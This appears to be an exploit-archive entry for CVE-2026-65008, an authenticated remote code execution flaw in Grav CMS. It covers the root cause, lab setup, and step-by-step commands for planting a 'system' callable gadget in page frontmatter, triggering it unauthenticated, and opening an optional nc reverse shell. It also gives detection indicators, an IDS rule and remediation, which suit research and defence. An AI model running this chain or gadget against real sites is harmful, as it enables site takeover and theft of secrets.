Grav CMS Blueprint Callable Injection — Authenticated RCE (CVE-2026-65008)
Published: 2026-11-27 • Researcher: Efe Gungor (GitHub: zer0dayf); vulnerability reported by YuvalMil, MatiHub25 and LeonKaya (GHSA-fj2p-qj2f-74v5)
- Severity
- Critical
- CVE
- CVE-2026-65008 (same flaw as CVE-2026-64850; GHSA-fj2p-qj2f-74v5)
- Category
- web
- Affected product
- Grav CMS (getgrav/grav) and its bundled Form plugin
- Affected versions
- All releases before 2.0.7 (fixed in 2.0.7); the CVE record names Grav 2.0.4 as a confirmed affected version. The upstream lab image downloads grav-admin 1.7.46, which is also below the fixed release
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-65008
- https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
- https://github.com/getgrav/grav/releases/tag/2.0.7
- https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c
- https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-blueprint-dynamicdata
- https://github.com/zer0dayf/CVE-2026-65008
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-27 (upstream commit 100d5db, “Update Dockerfile path in docker-compose.yml”) |
| Author / Researcher | Efe Gungor (GitHub: zer0dayf); vulnerability reported by YuvalMil, MatiHub25 and LeonKaya (GHSA-fj2p-qj2f-74v5) |
| CVE / Advisory | CVE-2026-65008 (same flaw as CVE-2026-64850; GHSA-fj2p-qj2f-74v5) |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, VulnCheck via NVD); 8.7 CVSSv4.0 per the GitHub advisory (PR:L) |
| Status | Weaponized (complete login, plant and trigger chain; not executed by the archivist) |
| Tags | Grav, CMS, PHP, RCE, CWE-94, callable injection, frontmatter, form plugin, authenticated, post-auth, privilege boundary |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Grav CMS (getgrav/grav) and its bundled Form plugin |
| Versions Affected | All releases before 2.0.7 (fixed in 2.0.7); the CVE record names Grav 2.0.4 as a confirmed affected version. The upstream lab image downloads grav-admin 1.7.46, which is also below the fixed release |
| Language / Platform | PHP 8.x (Grav/Twig) on Linux; the archived exploit is Python 3.10+ using requests |
| Authentication Required | Yes to plant the payload — an account with the admin.pages permission or api.pages.write; no authentication is needed to trigger it |
| Network Access Required | Yes — HTTP(S) access to the Grav admin panel and to the resulting page |
Summary
Grav CMS before 2.0.7 lets an authenticated page editor plant a callable directive inside page frontmatter, and the Blueprint dynamic data routine forwards that callable and its arguments to PHP’s dispatcher without an allowlist. By using a public Grav utility as a trampoline, the attacker reaches the system command function and runs shell commands as the web server user. The command fires whenever anyone, including an unauthenticated visitor, loads the planted page, so page editing rights become remote code execution.
Vulnerability Details
Root Cause
Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php, around line 426) resolves a Class::method provider string and its argument list from blueprint data and passes both straight to call_user_func_array() without validating the callback against any allowlist. The Form plugin routes page frontmatter through this path (form/classes/Form.php, around line 432), so a page author controls the provider string and its arguments.
A built-in public static method, Grav\Common\Utils::arrayFilterRecursive($source, $fn), calls $fn($key, $value) for every element of $source. Supplying system as $fn and the command as an array key makes Grav execute it during page rendering. The fix, released in Grav 2.0.7 (commit acffa34cbb0787fee87c609e0d6289e904fee33c), rejects dangerous callables.
Attack Vector
An authenticated attacker with the admin.pages permission (or the api.pages.write API scope) sends an admin page-save request (task=save plus a valid admin-nonce) whose data[frontmatter] contains a Form blueprint with a data-opts@ provider list. Grav writes the page to user/pages/<folder>/form.md. Any later unauthenticated GET /<folder> triggers rendering, which reaches call_user_func_array() and executes the embedded command.
Impact
Arbitrary command execution as the web server user (www-data in the bundled lab image). Because the command runs during ordinary page rendering, it is triggered by any visitor and can be embedded in a public page, giving an attacker who holds only page-edit rights full control of the site: reading configuration and secrets (user/config/, user/accounts/), modifying content, and establishing further access. The permission boundary is crossed: admin.pages is meant to grant content editing, not code execution.
Environment / Lab Setup
OS: Linux host with Docker
Target: Grav CMS (grav-admin 1.7.46) on php:8.2-apache, port 8080
Attacker: Linux host with Python 3.10+
Tools: Docker, curl, requests, netcat (for the optional reverse shell)Setup Steps
| |
The image downloads grav-admin 1.7.46 from getgrav.org at build time, so the build host needs outbound HTTPS access.
Proof of Concept
Step-by-Step Reproduction
Start the lab and complete the Grav setup wizard at
/admin, creating an administrator account.Run the exploit against the lab with a harmless command:
Shell script1python3 exploit.py -u http://127.0.0.1:8080 -U admin -P 'your-password' -c "id"Inspect the planted page on the server to confirm the gadget was written:
Shell script1 2 3 4 5 6docker exec grav_vulnerable cat /var/www/html/user/pages/rcepoc/form.md # frontmatter should contain: # data-opts@: # - 'Grav\Common\Utils::arrayFilterRecursive' # - { 'id': 'x' } # - systemTrigger unauthenticated (the exploit does this automatically after planting):
Shell script1curl -s http://127.0.0.1:8080/rcepocOptional reverse shell — start a listener, then let the exploit plant a shell payload:
Shell script1 2nc -lvnp 4444 python3 exploit.py -u http://127.0.0.1:8080 -U admin -P 'your-password' --lhost 127.0.0.1 --lport 4444Clean up by deleting the page folder and removing the container:
Shell script1 2docker exec grav_vulnerable rm -rf /var/www/html/user/pages/rcepoc docker rm -f grav_vulnerable
Exploit Code
Full automation:
exploit.py(login, nonce extraction, page save, trigger, optional reverse shell). Docker lab:docker/docker-compose.ymlanddocker/Dockerfile.
The core gadget written into page frontmatter by the exploit:
| |
Equivalent manual save request:
| |
Expected Output
uid=33(www-data) gid=33(www-data) groups=33(www-data)The command output is echoed into the HTML response of the unauthenticated page request. With the reverse shell option, the listener receives a shell from the www-data user and the exploit reports that the trigger request timed out.
Detection & Indicators of Compromise
POST /admin/pages/... task=save data[frontmatter]=... data-opts@ ...
... 'Grav\Common\Utils::arrayFilterRecursive' ... system ...- Page files under
user/pages/**containingdata-opts@,arrayFilterRecursiveorsystemin their frontmatter — this is the primary artifact left on disk. - An authenticated page-save followed by an immediate unauthenticated request to the new page, with OS command output (for example a
uid=line) appearing in the HTML response. - Admin-session logins from unexpected addresses or at odd times, and page-save requests with a
data[frontmatter]field that the normal editor never sends. - Page folders created with API calls rather than through the editor UI.
- Outbound connections from the web server to unusual destinations shortly after a page view (reverse-shell variant).
WAF / SIEM rule (example):
alert http any any -> any any (
msg:"Grav Blueprint dynamicData RCE attempt";
flow:to_server; http.method; content:"POST";
http.uri; content:"/admin/pages/";
http.request_body; content:"data-opts@"; nocase;
sid:900650081;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Grav to 2.0.7 or later (fix commit acffa34cbb0787fee87c609e0d6289e904fee33c); update the bundled Form plugin. |
| Workaround | If upgrading is not immediately possible, restrict admin.pages and api.pages.write to a very small trusted group, block page-save requests whose frontmatter contains data-opts@, and review recent page files for injected directives. Disabling the Form plugin removes the frontmatter path if forms are not needed. |
| Config Hardening | Enforce least privilege on Grav accounts and API keys, enable two-factor authentication on admin accounts, keep the admin panel behind a VPN or IP allowlist, and monitor user/pages/ with file-integrity monitoring. |
References
Notes
Verdict. Genuine, self-contained proof of concept: a full authentication-to-execution chain (admin login, nonce extraction, page-save with the callable gadget, unauthenticated trigger) plus a Docker lab that builds a vulnerable Grav image. It is not a scanner, detector or advisory-only writeup, and it contains no malware, persistence, credential-stealer or C2 components. The optional reverse-shell helper is a standard interactive-shell payload that belongs to the exploit itself.
License. The upstream repository declares no license (no LICENSE file), so the code remains all rights reserved by its author. It is archived here for research and educational purposes with full attribution; do not redistribute commercially without the author’s permission.
Limitations and caveats.
- This copy was not executed by the archivist. The README’s claims (successful login, planting and command output) are the upstream author’s, and the lab build and version-specific selectors were not independently verified here.
- The CVE record names Grav 2.0.4 while the upstream Dockerfile deploys grav-admin 1.7.46. Both are below the 2.0.7 fix and the affected code path is present in the 1.7 branch, but a reviewer reproducing the lab should confirm the vulnerable path exists in the image before trusting a negative result.
- CVSS is disputed: VulnCheck/NVD assign 9.8 with PR:N, while the GitHub advisory’s CVSSv4.0 vector uses PR:L (8.7) because planting requires
admin.pages. Treat the score as a measure of the post-auth impact and the unauthenticated trigger, not of pre-auth exploitability. - CVE-2026-65008 and CVE-2026-64850 describe the same Grav flaw and share the GHSA advisory; the two identifiers are tracked together here.
- The exploit’s page folder defaults to
rcepocand its payload is written touser/pages/rcepoc/form.md; changing--folderchanges that path, which is useful for detection tuning. - Upstream source contains a Turkish-language inline comment in the reverse-shell branch; the archived copy preserves it verbatim for attribution.
| |